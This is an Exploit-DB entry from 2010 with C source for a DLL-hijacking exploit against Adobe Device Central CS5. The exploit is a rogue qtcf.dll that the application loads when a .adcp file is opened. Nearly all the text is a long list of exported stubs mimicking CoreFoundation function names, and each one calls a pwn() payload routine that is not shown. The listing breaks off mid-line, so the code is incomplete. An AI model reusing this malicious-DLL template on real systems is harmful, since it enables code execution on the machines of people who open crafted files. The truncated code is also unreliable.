Exploit-DB #14755
Description: Adobe Device Central CS5 - 'qtcf.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: Adobe Device Central CS5 DLL Hijacking Exploit (qtcf.dll)
Date: August 24, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest CS5 v3.0.0(376)
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .adcp
Greetz: Astalavista, OffSEC, Exploit-DB
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void __CFRangeMake() { pwn(); }
DllExport void __CFStorageGetCapacity() { pwn(); }
DllExport void __CFStorageGetValueSize() { pwn(); }
DllExport void __CFStringMakeConstantString() { pwn(); }
DllExport void _CFCharacterSetCreateKeyedCodingString() { pwn(); }
DllExport void _CFCharacterSetGetKeyedCodingBuiltinType() { pwn(); }
DllExport void _CFCharacterSetGetKeyedCodingRange() { pwn(); }
DllExport void _CFCharacterSetGetKeyedCodingType() { pwn(); }
DllExport void _CFCharacterSetIsInverted() { pwn(); }
DllExport void _CFCharacterSetIsMutable() { pwn(); }
DllExport void _CFCharacterSetSetIsInverted() { pwn(); }
DllExport void _CFDoOperation() { pwn(); }
DllExport void _CFExecutableLinkedOnOrAfter() { pwn(); }
DllExport void _CFHTTPMessageSetResponseURL() { pwn(); }
DllExport void _CFRuntimeCreateInstance() { pwn(); }
DllExport void _CFRuntimeGetClassWithTypeID() { pwn(); }
DllExport void _CFRuntimeRegisterClass() { pwn(); }
DllExport void _CFRuntimeSetCFMPresent() { pwn(); }
DllExport void _CFRuntimeSetInstanceTypeID() { pwn(); }
DllExport void _CFRuntimeUnregisterClassWithTypeID() { pwn(); }
DllExport void _CFStringCreateWithBytesNoCopy() { pwn(); }
DllExport void _CFStringEncodingSetForceASCIICompatibility() { pwn(); }
DllExport void _CFStringGetFileSystemRepresentation() { pwn(); }
DllExport void _CFURLCopyComponents() { pwn(); }
DllExport void _CFURLCreateFromComponents() { pwn(); }
DllExport void CFAbsoluteTimeAddGregorianUnits() { pwn(); }
DllExport void CFAbsoluteTimeGetCurrent() { pwn(); }
DllExport void CFAbsoluteTimeGetDayOfWeek() { pwn(); }
DllExport void CFAbsoluteTimeGetDayOfYear() { pwn(); }
DllExport void CFAbsoluteTimeGetDifferenceAsGregorianUnits() { pwn(); }
DllExport void CFAbsoluteTimeGetGregorianDate() { pwn(); }
DllExport void CFAbsoluteTimeGetWeekOfYear() { pwn(); }
DllExport void CFAllocatorAllocate() { pwn(); }
DllExport void CFAllocatorCreate() { pwn(); }
DllExport void CFAllocatorDeallocate() { pwn(); }
DllExport void CFAllocatorGetContext() { pwn(); }
DllExport void CFAllocatorGetDefault() { pwn(); }
DllExport void CFAllocatorGetPreferredSizeForSize() { pwn(); }
DllExport void CFAllocatorGetTypeID() { pwn(); }
DllExport void CFAllocatorReallocate() { pwn(); }
DllExport void CFAllocatorSetDefault() { pwn(); }
DllExport void CFArrayAppendArray() { pwn(); }
DllExport void CFArrayAppendValue() { pwn(); }
DllExport void CFArrayApplyFunction() { pwn(); }
DllExport void CFArrayBSearchValues() { pwn(); }
DllExport void CFArrayContainsValue() { pwn(); }
DllExport void CFArrayCreate() { pwn(); }
DllExport void CFArrayCreateCopy() { pwn(); }
DllExport void CFArrayCreateMutable() { pwn(); }
DllExport void CFArrayCreateMutableCopy() { pwn(); }
DllExport void CFArrayExchangeValuesAtIndices() { pwn(); }
DllExport void CFArrayGetCount() { pwn(); }
DllExport void CFArrayGetCountOfValue() { pwn(); }
DllExport void CFArrayGetFirstIndexOfValue() { pwn(); }
DllExport void CFArrayGetLastIndexOfValue() { pwn(); }
DllExport void CFArrayGetTypeID() { pwn(); }
DllExport void CFArrayGetValueAtIndex() { pwn(); }
DllExport void CFArrayGetValues() { pwn(); }
DllExport void CFArrayInsertValueAtIndex() { pwn(); }
DllExport void CFArrayRemoveAllValues() { pwn(); }
DllExport void CFArrayRemoveValueAtIndex() { pwn(); }
DllExport void CFArrayReplaceValues() { pwn(); }
DllExport void CFArraySetValueAtIndex() { pwn(); }
DllExport void CFArraySortValues() { pwn(); }
DllExport void CFBagAddValue() { pwn(); }
DllExport void CFBagApplyFunction() { pwn(); }
DllExport void CFBagContainsValue() { pwn(); }
DllExport void CFBagCreate() { pwn(); }
DllExport void CFBagCreateCopy() { pwn(); }
DllExport void CFBagCreateMutable() { pwn(); }
DllExport void CFBagCreateMutableCopy() { pwn(); }
DllExport void CFBagGetCount() { pwn(); }
DllExport void CFBagGetCountOfValue() { pwn(); }
DllExport void CFBagGetTypeID() { pwn(); }
DllExport void CFBagGetValue() { pwn(); }
DllExport void CFBagGetValueIfPresent() { pwn(); }
DllExport void CFBagGetValues() { pwn(); }
DllExport void CFBagRemoveAllValues() { pwn(); }
DllExport void CFBagRemoveValue() { pwn(); }
DllExport void CFBagReplaceValue() { pwn(); }
DllExport void CFBagSetValue() { pwn(); }
DllExport void CFBinaryHeapAddValue() { pwn(); }
DllExport void CFBinaryHeapApplyFunction() { pwn(); }
DllExport void CFBinaryHeapContainsValue() { pwn(); }
DllExport void CFBinaryHeapCreate() { pwn(); }
DllExport void CFBinaryHeapCreateCopy() { pwn(); }
DllExport void CFBinaryHeapGetCount() { pwn(); }
DllExport void CFBinaryHeapGetCountOfValue() { pwn(); }
DllExport void CFBinaryHeapGetMinimum() { pwn(); }
DllExport void CFBinaryHeapGetMinimumIfPresent() { pwn(); }
DllExport void CFBinaryHeapGetTypeID() { pwn(); }
DllExport void CFBinaryHeapGetValues() { pwn(); }
DllExport void CFBinaryHeapRemoveAllValues() { pwn(); }
DllExport void CFBinaryHeapRemoveMinimumValue() { pwn(); }
DllExport void CFBitVectorContainsBit() { pwn(); }
DllExport void CFBitVectorCreate() { pwn(); }
DllExport void CFBitVectorCreateCopy() { pwn(); }
DllExport void CFBitVectorCreateMutable() { pwn(); }
DllExport void CFBitVectorCreateMutableCopy() { pwn(); }
DllExport void CFBitVectorFlipBitAtIndex() { pwn(); }
DllExport void CFBitVectorFlipBits() { pwn(); }
DllExport void CFBitVectorGetBitAtIndex() { pwn(); }
DllExport void CFBitVectorGetBits() { pwn(); }
DllExport void CFBitVectorGetCount() { pwn(); }
DllExport void CFBitVectorGetCountOfBit() { pwn(); }
DllExport void CFBitVectorGetFirstIndexOfBit() { pwn(); }
DllExport void CF